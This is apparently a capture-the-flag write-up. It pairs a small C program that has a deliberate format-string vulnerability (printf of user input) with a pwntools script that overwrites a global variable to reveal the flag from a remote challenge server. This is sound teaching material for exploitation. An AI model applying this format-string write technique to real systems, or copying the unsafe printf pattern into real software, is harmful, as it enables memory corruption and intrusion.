Source
#include <stdio.h>
int sus = 0x21737573;
int main() {
char buf[1024];
char flag[64];
printf("You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n");
fflush(stdout);
scanf("%1024s", buf);
printf("Here's your input: ");
printf(buf);
printf("\n");
fflush(stdout);
if (sus == 0x67616c66) {
printf("I have NO clue how you did that, you must be a wizard. Here you go...\n");
// Read in the flag
FILE *fd = fopen("flag.txt", "r");
fgets(flag, 64, fd);
printf("%s", flag);
fflush(stdout);
}
else {
printf("sus = 0x%x\n", sus);
printf("You can do better!\n");
fflush(stdout);
}
return 0;
}
Solution
#!/usr/bin/env python3
from pwn import *
#import time
#from termcolor import colored
#from tqdm import tqdm
elf = ELF("./vuln_patched")
rop = ROP(elf)
context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
"""
def find_offset():
r = process([elf.path])
gdb.attach(r)
p = cyclic(1000)
r.sendline(p)
r.interactive()
def conn():
if args.REMOTE:
r = remote("rhea.picoctf.net", 53601)
elif args.GDB:
r = gdb.debug([elf.path], gdbscript=dbginit)
else:
r = process([elf.path])
return r
def main():
r = conn()
sus = elf.sym["sus"]
write = {
sus : 0x67616c66
}
payload = fmtstr_payload(14,write,write_size="short")
r.sendline(payload)
r.recvuntil(b'I have NO clue how you did that, you must be a wizard. Here you go...\n')
flag = r.clean().decode("ascii")
print()
print(flag)
print()
# r.interactive()
if __name__ == "__main__":
main()